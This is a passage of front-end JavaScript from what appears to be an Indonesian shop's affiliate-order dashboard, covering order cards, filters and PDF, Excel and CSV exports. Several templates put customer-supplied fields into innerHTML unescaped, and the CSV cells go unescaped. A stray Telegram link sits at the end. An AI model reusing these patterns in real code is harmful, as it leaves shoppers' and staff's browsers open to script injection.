                        <span class="bg-green-100 text-green-700 px-2 py-1 rounded text-sm font-medium"> ${order.affiliate_info ? order.affiliate_info.referral || '-' : '-'}</span>
                    </div>
                    <div class="flex items-center space-x-6 text-sm">
                        <div class="flex items-center space-x-2 text-gray-600">
                            <i data-feather="user" class="w-4 h-4"></i>
                            <span>${order.recipient_name}</span>
                        </div>
                        <div class="flex items-center space-x-2 text-gray-500">
                            <i data-feather="clock" class="w-4 h-4"></i>
                            <span>${order.order_date_formatted || new Date(order.order_date).toLocaleString('id-ID')}</span>
                        </div>
                    </div>
                </div>
                
                <div class="grid grid-cols-2 gap-4 p-4">
                    <!-- Produk -->
                    <div class="col-span-1">
                        <div class="flex mb-2">
                            <div class="w-20 h-20 mr-3 flex-shrink-0">
                                <img src="${BASE_URL_IMAGE}/${firstItem.product_image || 'default.jpg'}"
                                    alt="${firstItem.item_name}"
                                    class="w-full h-full object-cover rounded">
                            </div>
                            <div class="flex-1">
                                <h4 class="font-medium text-sm text-gray-800">${firstItem.item_name || 'Nama Produk'}</h4>
                                <p class="text-xs text-gray-500">${firstItem.sku || '-'}</p>
                            </div>
                        </div>
                        ${otherItemsCount > 0 ? `
                        <div class="more-products mt-2">
                            <button class="more-products-btn text-sm text-[#7A4397] flex items-center">
                                Lihat ${otherItemsCount} Produk Lainnya 
                                <svg xmlns="http://www.w3.org/2000/svg" class="h-4 w-4 ml-1" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 9l-7 7-7-7" />
                                </svg>
                            </button>
                        </div>` : ''}
                    </div>
                    
                    <!-- Alamat -->
                    <div class="col-span-1">
                        <div class="text-sm font-medium text-[#333] mb-1">
                            Dikirim ke
                        </div>
                        <div class="text-sm text-gray-500 font-medium">${order.recipient_name || '-'} ${order.tokopedia_invoice ? '' : `(${order.phone})`}</div>
                        <div class="text-sm text-gray-500">
                            ${order.address ? `${order.address}${'. '}${order.subdistrict ? order.subdistrict : ''}${order.district ? ', ' + order.district : ''}${order.province ? ', ' + order.province : ''}${'.'}` : '-'}
                        </div>
                        
                        ${order.customer_note ? `
                            <div class="text-sm font-medium text-[#333] mt-2 mb-1">
                                Catatan Pelanggan
                            </div>
                            <div class="text-sm text-gray-500">
                                ${order.customer_note}
                            </div>
                        ` : ''}
                        <div class="mt-4 flex items-center space-x-2">
                            ${order.insurance_status === 'Yes' ? `
                            <span class="inline-flex items-center px-3 py-1 rounded-full text-sm font-medium bg-green-100 text-green-800">
                                <i data-feather="check" class="w-4 h-4 mr-2"></i>
                                Asuransi Pengiriman
                            </span>
                            ` : ''}

                            ${order.gift_receiver_name ? `
                            <span class="inline-flex items-center px-3 py-1 rounded-full text-sm font-medium bg-purple-100 text-purple-800">
                                <i data-feather="gift" class="w-4 h-4 mr-2"></i>
                                Hadiah
                            </span>
                            ` : ''}
                        </div>
                    </div>
                </div>
            `;

            // Event listener untuk tombol "Lihat X Produk Lainnya"
            const moreProductsBtn = card.querySelector('.more-products-btn');
            if (moreProductsBtn) {
                moreProductsBtn.addEventListener('click', function() {
                    const productSection = this.closest('.col-span-1');
                    const isExpanded = productSection.querySelector('.additional-products');

                    if (isExpanded) {
                        // Jika expanded, hapus produk tambahan
                        productSection.querySelector('.additional-products').remove();
                        this.innerHTML = `
                            Lihat ${otherItemsCount} Produk Lainnya 
                            <svg xmlns="http://www.w3.org/2000/svg" class="h-4 w-4 ml-1" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 9l-7 7-7-7" />
                            </svg>
                        `;
                    } else {
                        // Tambahkan produk tambahan
                        const productContainer = document.createElement('div');
                        productContainer.className = 'additional-products space-y-3 mt-3 pl-2 border-l-2 border-gray-200';

                        for (let i = 1; i < items.length; i++) {
                            const item = items[i];
                            const additionalProduct = document.createElement('div');
                            additionalProduct.className = 'flex';
                            additionalProduct.innerHTML = `
                                <div class="w-16 h-16 mr-3 flex-shrink-0">
                                    <img src="${BASE_URL_IMAGE}/${item.product_image || 'default.jpg'}" 
                                        alt="${item.item_name}"
                                        class="w-full h-full object-cover rounded">
                                </div>
                                <div class="flex-1">
                                    <h4 class="font-medium text-sm text-gray-800">${item.item_name || 'Nama Produk'}</h4>
                                    <p class="text-xs text-gray-500">${item.sku || '-'}</p>
                                </div>
                            `;
                            productContainer.appendChild(additionalProduct);
                        }

                        this.parentNode.parentNode.insertBefore(productContainer, this.parentNode);
                        this.innerHTML = `
                        Sembunyikan Produk
                        <svg xmlns="http://www.w3.org/2000/svg" class="h-4 w-4 ml-1" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 15l7-7 7 7" />
                        </svg>
                    `;
                    }
                });
            }

            container.appendChild(card);
        });

        loadingMore.classList.add('hidden');
        feather.replace();

        const chatButtons = document.querySelectorAll('.whatsapp-chat-btn');
        chatButtons.forEach(button => {
            button.addEventListener('click', (e) => {
                let phoneNumber = e.target.closest('.whatsapp-chat-btn').dataset.phone;
                const customerName = e.target.closest('.whatsapp-chat-btn').dataset.name;
                if (phoneNumber.startsWith('08')) {
                    phoneNumber = `62${phoneNumber.substring(1)}`;
                } else if (phoneNumber.startsWith('8')) {
                    phoneNumber = `62${phoneNumber}`;
                }
                const whatsappURL = `https://api.whatsapp.com/send?phone=${phoneNumber}&text=Halo kak ${customerName}`;
                window.open(whatsappURL, '_blank');
            });
        });

    }

    // Fungsi helper untuk memformat angka
    function formatNumber(number) {
        return new Intl.NumberFormat('id-ID').format(number);
    }

    function resetAllFilters() {
        sortFilter.value = "";

        // Reset checkbox filter
        filterCheckboxes.forEach(checkbox => {
            checkbox.checked = false;
        });

        // Update tampilan filter yang dipilih
        updateSelectedFilters();
        updateURLAndFetch();
        updateFilterText();
    }

    function updateFilterText() {
        const checkedCount = document.querySelectorAll(".filter-checkbox:checked").length;
        filterText.textContent = checkedCount > 0 ? `${checkedCount} Filter Terpilih` : "Filter";
    }

    function updateSelectedFilters() {
        const resetFilters = document.getElementById("resetFilters");

        // Menyimpan elemen resetFilters di dalam selectedFiltersContainer
        selectedFiltersContainer.innerHTML = "";

        let hasFilters = false;
        selectedFiltersContainer.appendChild(resetFilters);

        // Menambahkan filter 'sort'
        const selectedSort = sortFilter.value;
        if (selectedSort) {
            hasFilters = true;
            const sortTag = document.createElement("div");
            sortTag.className = "flex items-center border border-[#7A4397] rounded-lg px-3 py-1 bg-gray-100 text-sm";
            sortTag.innerHTML = `
            ${sortFilter.options[sortFilter.selectedIndex].text}
            <button class="ml-2 text-gray-500 hover:text-gray-700" onclick="removeFilter('sort')">&times;</button>
        `;
            selectedFiltersContainer.appendChild(sortTag);
        }

        // Menambahkan filter dari checkbox
        filterCheckboxes.forEach(checkbox => {
            if (checkbox.checked) {
                hasFilters = true;
                const filterTag = document.createElement("div");
                filterTag.className = "flex items-center border border-[#7A4397] rounded-lg px-3 py-1 bg-gray-100 text-sm";
                filterTag.innerHTML = `
                ${checkbox.nextElementSibling.innerText}
                <button class="ml-2 text-gray-500 hover:text-gray-700" onclick="removeFilter('${checkbox.dataset.param}')">&times;</button>
            `;
                selectedFiltersContainer.appendChild(filterTag);
            }
        });

        // Menampilkan atau menyembunyikan tombol reset filter
        if (hasFilters) {
            resetFilters.classList.remove("hidden");
        } else {
            resetFilters.classList.add("hidden");
        }
    }


    function updateDateLabels() {
        const now = new Date();
        const today = new Date(now);
        const yesterday = new Date(now);
        yesterday.setDate(yesterday.getDate() - 1);

        // Update the month title
        document.getElementById('currentMonthTitle').innerText =
            today.toLocaleDateString('id-ID', {
                month: 'long',
                year: 'numeric'
            });

        // Format function for dates
        function formatDate(date) {
            return date.toLocaleDateString('id-ID', {
                day: '2-digit',
                month: 'short',
                year: 'numeric'
            }).replace('.', '');
        }

        function formatDateRange(start, end) {
            return `${formatDate(start)} - ${formatDate(end)}`;
        }

        // Today with real time
        const hour = now.getHours();
        const minute = now.getMinutes();
        document.getElementById('todayDate').innerText =
            `${formatDate(today)} (00:00 - ${hour.toString().padStart(2, '0')}:${minute.toString().padStart(2, '0')})`;

        // Yesterday
        document.getElementById('yesterdayDate').innerText = formatDate(yesterday);

        // Last 7 days
        const last7Start = new Date(now);
        last7Start.setDate(last7Start.getDate() - 7);
        const last7End = new Date(yesterday);
        document.getElementById('last7daysDate').innerText = formatDateRange(last7Start, last7End);

        // Last 30 days
        const last30Start = new Date(now);
        last30Start.setDate(last30Start.getDate() - 30);
        const last30End = new Date(yesterday);
        document.getElementById('last30daysDate').innerText = formatDateRange(last30Start, last30End);

        // This month
        const thisMonthStart = new Date(now.getFullYear(), now.getMonth(), 1);
        const thisMonthEnd = new Date(now.getFullYear(), now.getMonth() + 1, 0);
        document.getElementById('thisMonthDate').innerText = formatDateRange(thisMonthStart, thisMonthEnd);
    }

    // Initialize the scroll listener
    function initInfiniteScroll() {
        window.addEventListener('scroll', function() {
            // Check if we're near the bottom of the page
            if (window.innerHeight + window.scrollY >= document.body.offsetHeight - 500) {
                // If we're within 500px of the bottom, load more data
                if (!isFetching && hasMoreData) {
                    // Get current URL parameters
                    const params = new URLSearchParams(window.location.search);
                    fetchOrders(params, true); // true means append instead of replace
                }
            }
        });
    }

    function searchOrders(searchTerm) {
        // Reset data pencarian dan pagination
        currentPage = 1;
        hasMoreData = true;
        allOrders = [];

        // Ambil parameter URL saat ini
        const params = new URLSearchParams(window.location.search);

        // Tambahkan parameter pencarian atau hapus jika kosong
        if (searchTerm && searchTerm.trim() !== '') {
            params.set('search', searchTerm.trim());
        } else {
            params.delete('search');
        }

        // Update URL
        const newUrl = `${window.location.pathname}?${params.toString()}`;
        history.pushState(null, '', newUrl);

        // Fetch dengan parameter pencarian
        fetchOrders(params, false);
    }

    // Download PDF
    function downloadOrdersPDF(allOrders) {
        const {
            jsPDF
        } = window.jspdf;
        const doc = new jsPDF();

        const today = new Date().toISOString().split("T")[0];
        doc.setFontSize(18);
        doc.text("Laporan Pesanan Affiliate", 14, 15);
        doc.setFontSize(12);
        doc.text(`Dicetak Tanggal: ${today}`, 14, 22);

        // Tambahkan informasi filter
        let filtersText = "Filter: ";
        const urlParams = new URLSearchParams(window.location.search);

        const tab = urlParams.get("tab") || "Semua";
        filtersText += `Status: ${tab.charAt(0).toUpperCase() + tab.slice(1)}, `;

        const startDate = urlParams.get("start_date");
        const endDate = urlParams.get("end_date");
        const dateFilter = urlParams.get("date_filter");

        // Mapping untuk label date_filter
        const dateFilterLabels = {
            today: "Hari ini",
            yesterday: "Kemarin",
            last7days: "7 hari terakhir",
            last30days: "30 hari terakhir",
            thisMonth: "Bulan ini",
            thisYear: "Tahun ini",
            customDate: "Rentang Tanggal"
        };

        if (startDate && endDate) {
            filtersText += `Tanggal: ${startDate} - ${endDate}, `;
        } else if (dateFilter && dateFilterLabels[dateFilter]) {
            filtersText += `Tanggal: ${dateFilterLabels[dateFilter]}, `;
        }

        const paymentFilters = [];
        if (urlParams.get("isBCATransfer")) paymentFilters.push("Transfer BCA");
        if (urlParams.get("isMandiriTransfer")) paymentFilters.push("Transfer Mandiri");
        if (urlParams.get("isPaypal")) paymentFilters.push("PayPal");
        if (urlParams.get("isDoku")) paymentFilters.push("DOKU");

        if (paymentFilters.length > 0) {
            filtersText += `Metode Pembayaran: ${paymentFilters.join(", ")}, `;
        }

        const shippingFilters = [];
        if (urlParams.get("isRegularShipping")) shippingFilters.push("Regular");
        if (urlParams.get("isTwoHourShipping")) shippingFilters.push("2 Hour Delivery");
        if (urlParams.get("isOneDayShipping")) shippingFilters.push("One Day Service");
        if (urlParams.get("isNextDayShipping")) shippingFilters.push("Next Day Service");

        if (shippingFilters.length > 0) {
            filtersText += `Metode Pengiriman: ${shippingFilters.join(", ")}, `;
        }

        const insurance = urlParams.get("usingInsurance") ? "Pakai Asuransi" : urlParams.get("notUsingInsurance") ? "Ga Pakai Asuransi" : "";
        if (insurance) {
            filtersText += `Asuransi: ${insurance}, `;
        }

        filtersText = filtersText.replace(/, $/, "");

        const maxWidth = 180; // Lebar maksimal teks sebelum dipotong
        const textLines = doc.splitTextToSize(filtersText, maxWidth); // Memecah teks menjadi beberapa baris

        let y = 30; // Posisi awal teks

        // Loop untuk mencetak setiap baris teks di posisi Y yang bertambah
        textLines.forEach(line => {
            doc.text(line, 14, y);
            y += 6; // Menambah posisi Y agar teks turun ke bawah
        });

        y += 10;
        let counter = 1;

        allOrders.forEach((order) => {
            doc.setFontSize(12);
            doc.setFont(undefined, "bold");
            doc.text(`#${counter} - ID: ${order.id_orders} (${order.affiliate_info ? order.affiliate_info.referral || '-' : '-'})`, 14, y);
            doc.setFont(undefined, "normal");
            y += 6;

            doc.text(`Penerima: ${order.recipient_name}`, 14, y);
            y += 6;
            doc.text(`Alamat: ${order.subdistrict}, ${order.district}, ${order.province}`, 14, y);
            y += 6;
            doc.text(`Total Belanja: Rp ${new Intl.NumberFormat("id-ID").format(order.grand_total_amount)}`, 14, y);
            y += 6;
            doc.text(`Metode: ${order.payment_type}`, 14, y);
            y += 6;
            doc.text(`Status: ${order.payment_status_text}`, 14, y);
            y += 6;
            doc.text(`Tanggal: ${order.order_date_formatted}`, 14, y);
            y += 8;

            // Tabel Produk
            const headers = [
                ["Nama Produk", "Qty", "Harga", "Subtotal"]
            ];
            let data = order.items.map((item) => [
                item.item_name,
                item.quantity,
                `Rp ${new Intl.NumberFormat("id-ID").format(item.item_price)}`,
                `Rp ${new Intl.NumberFormat("id-ID").format(item.subtotal)}`
            ]);

            if (y > 230) {
                doc.addPage();
                y = 20;
            }

            doc.autoTable({
                head: headers,
                body: data,
                startY: y,
                theme: "striped",
                styles: {
                    fontSize: 10,
                    cellPadding: 2
                },
                headStyles: {
                    fillColor: [122, 67, 151],
                    textColor: 255,
                    fontStyle: "bold"
                },
                alternateRowStyles: {
                    fillColor: [240, 240, 240]
                },
                margin: {
                    left: 14,
                    right: 14
                },
            });

            y = doc.autoTable.previous.finalY + 10;
            counter++;
        });

        doc.save(`Laporan_Pesanan_${today}.pdf`);
    }

    // Download Excel
    function downloadOrdersExcel(allOrders) {
        const urlParams = new URLSearchParams(window.location.search);
        const today = new Date().toISOString().split("T")[0];

        // Ambil informasi filter yang sama dengan PDF
        let filtersText = "Filter: ";
        const tab = urlParams.get("tab") || "Semua";
        filtersText += `Status: ${tab.charAt(0).toUpperCase() + tab.slice(1)}, `;

        const startDate = urlParams.get("start_date");
        const endDate = urlParams.get("end_date");
        const dateFilter = urlParams.get("date_filter");

        const dateFilterLabels = {
            today: "Hari ini",
            yesterday: "Kemarin",
            last7days: "7 hari terakhir",
            last30days: "30 hari terakhir",
            thisMonth: "Bulan ini",
            thisYear: "Tahun ini",
            customDate: "Rentang Tanggal"
        };

        if (startDate && endDate) {
            filtersText += `Tanggal: ${startDate} - ${endDate}, `;
        } else if (dateFilter && dateFilterLabels[dateFilter]) {
            filtersText += `Tanggal: ${dateFilterLabels[dateFilter]}, `;
        }

        const paymentFilters = [];
        if (urlParams.get("isBCATransfer")) paymentFilters.push("Transfer BCA");
        if (urlParams.get("isMandiriTransfer")) paymentFilters.push("Transfer Mandiri");
        if (urlParams.get("isPaypal")) paymentFilters.push("PayPal");
        if (urlParams.get("isDoku")) paymentFilters.push("DOKU");

        if (paymentFilters.length > 0) {
            filtersText += `Metode Pembayaran: ${paymentFilters.join(", ")}, `;
        }

        const shippingFilters = [];
        if (urlParams.get("isRegularShipping")) shippingFilters.push("Regular");
        if (urlParams.get("isTwoHourShipping")) shippingFilters.push("2 Hour Delivery");
        if (urlParams.get("isOneDayShipping")) shippingFilters.push("One Day Service");
        if (urlParams.get("isNextDayShipping")) shippingFilters.push("Next Day Service");

        if (shippingFilters.length > 0) {
            filtersText += `Metode Pengiriman: ${shippingFilters.join(", ")}, `;
        }

        const insurance = urlParams.get("usingInsurance") ? "Pakai Asuransi" : urlParams.get("notUsingInsurance") ? "Ga Pakai Asuransi" : "";
        if (insurance) {
            filtersText += `Asuransi: ${insurance}, `;
        }

        filtersText = filtersText.replace(/, $/, "");

        // Buat data untuk Excel
        let excelData = [];

        // Baris pertama untuk informasi filter
        excelData.push([filtersText]);

        // Tambahkan header dengan warna
        const header = [
            "No", "ID Pesanan", "Sumber", "Penerima", "Alamat", "Total Belanja", "Metode Pembayaran", "Status", "Tanggal"
        ];
        excelData.push(header);

        // Tambahkan data pesanan
        allOrders.forEach((order, index) => {
            excelData.push([
                index + 1,
                order.id_orders,
                order.affiliate_info ? order.affiliate_info.referral || '-' : '-',
                order.recipient_name,
                `${order.subdistrict}, ${order.district}, ${order.province}`,
                `Rp ${new Intl.NumberFormat("id-ID").format(order.grand_total_amount)}`,
                order.payment_type,
                order.payment_status_text,
                order.order_date_formatted
            ]);

            // Tambahkan data produk di bawahnya
            order.items.forEach((item) => {
                excelData.push([
                    "", "Produk:", item.item_name, `Qty: ${item.quantity}`, `Rp ${new Intl.NumberFormat("id-ID").format(item.item_price)}`, `Subtotal: Rp ${new Intl.NumberFormat("id-ID").format(item.subtotal)}`
                ]);
            });

            // Baris kosong sebagai pemisah antar pesanan
            excelData.push([]);
        });

        // Buat worksheet & workbook
        const ws = XLSX.utils.aoa_to_sheet(excelData);
        const wb = XLSX.utils.book_new();
        XLSX.utils.book_append_sheet(wb, ws, "Laporan Pesanan");

        // Simpan file Excel
        XLSX.writeFile(wb, `Laporan_Pesanan_${today}.xlsx`);
    }

    // Download CSV
    function downloadOrdersCSV(allOrders) {
        const urlParams = new URLSearchParams(window.location.search);
        const today = new Date().toISOString().split("T")[0];

        // Ambil informasi filter yang sama dengan PDF
        let filtersText = "Filter: ";
        const tab = urlParams.get("tab") || "Semua";
        filtersText += `Status: ${tab.charAt(0).toUpperCase() + tab.slice(1)}, `;

        const startDate = urlParams.get("start_date");
        const endDate = urlParams.get("end_date");
        const dateFilter = urlParams.get("date_filter");

        const dateFilterLabels = {
            today: "Hari ini",
            yesterday: "Kemarin",
            last7days: "7 hari terakhir",
            last30days: "30 hari terakhir",
            thisMonth: "Bulan ini",
            thisYear: "Tahun ini",
            customDate: "Rentang Tanggal"
        };

        if (startDate && endDate) {
            filtersText += `Tanggal: ${startDate} - ${endDate}, `;
        } else if (dateFilter && dateFilterLabels[dateFilter]) {
            filtersText += `Tanggal: ${dateFilterLabels[dateFilter]}, `;
        }

        const paymentFilters = [];
        if (urlParams.get("isBCATransfer")) paymentFilters.push("Transfer BCA");
        if (urlParams.get("isMandiriTransfer")) paymentFilters.push("Transfer Mandiri");
        if (urlParams.get("isPaypal")) paymentFilters.push("PayPal");
        if (urlParams.get("isDoku")) paymentFilters.push("DOKU");

        if (paymentFilters.length > 0) {
            filtersText += `Metode Pembayaran: ${paymentFilters.join(", ")}, `;
        }

        const shippingFilters = [];
        if (urlParams.get("isRegularShipping")) shippingFilters.push("Regular");
        if (urlParams.get("isTwoHourShipping")) shippingFilters.push("2 Hour Delivery");
        if (urlParams.get("isOneDayShipping")) shippingFilters.push("One Day Service");
        if (urlParams.get("isNextDayShipping")) shippingFilters.push("Next Day Service");

        if (shippingFilters.length > 0) {
            filtersText += `Metode Pengiriman: ${shippingFilters.join(", ")}, `;
        }

        const insurance = urlParams.get("usingInsurance") ? "Pakai Asuransi" : urlParams.get("notUsingInsurance") ? "Ga Pakai Asuransi" : "";
        if (insurance) {
            filtersText += `Asuransi: ${insurance}, `;
        }

        filtersText = filtersText.replace(/, $/, "");

        // Buat array untuk CSV
        let csvData = [];

        // Tambahkan informasi filter di baris pertama
        csvData.push([filtersText]);

        // Header CSV
        csvData.push(["No", "ID Pesanan", "Sumber", "Penerima", "Alamat", "Total Belanja", "Metode Pembayaran", "Status", "Tanggal"]);

        // Tambahkan data pesanan
        allOrders.forEach((order, index) => {
            csvData.push([
                index + 1,
                order.id_orders,
                order.affiliate_info ? order.affiliate_info.referral || '-' : '-',
                order.recipient_name,
                `${order.subdistrict}, ${order.district}, ${order.province}`,
                `Rp ${new Intl.NumberFormat("id-ID").format(order.grand_total_amount)}`,
                order.payment_type,
                order.payment_status_text,
                order.order_date_formatted
            ]);

            // Tambahkan data produk di bawahnya
            order.items.forEach((item) => {
                csvData.push([
                    "", "Produk:", item.item_name, `Qty: ${item.quantity}`, `Rp ${new Intl.NumberFormat("id-ID").format(item.item_price)}`, `Subtotal: Rp ${new Intl.NumberFormat("id-ID").format(item.subtotal)}`
                ]);
            });

            // Baris kosong sebagai pemisah antar pesanan
            csvData.push([]);
        });

        // Convert array ke CSV string
        let csvContent = csvData.map(row => row.map(cell => `"${cell}"`).join(",")).join("\n");

        // Buat file CSV
        const blob = new Blob([csvContent], {
            type: "text/csv;charset=utf-8;"
        });
        const link = document.createElement("a");
        const url = URL.createObjectURL(blob);
        link.setAttribute("href", url);
        link.setAttribute("download", `Laporan_Pesanan_${today}.csv`);
        document.body.appendChild(link);
        link.click();
        document.body.removeChild(link);
    }
</script>

https://t.me/RX1948 - 2025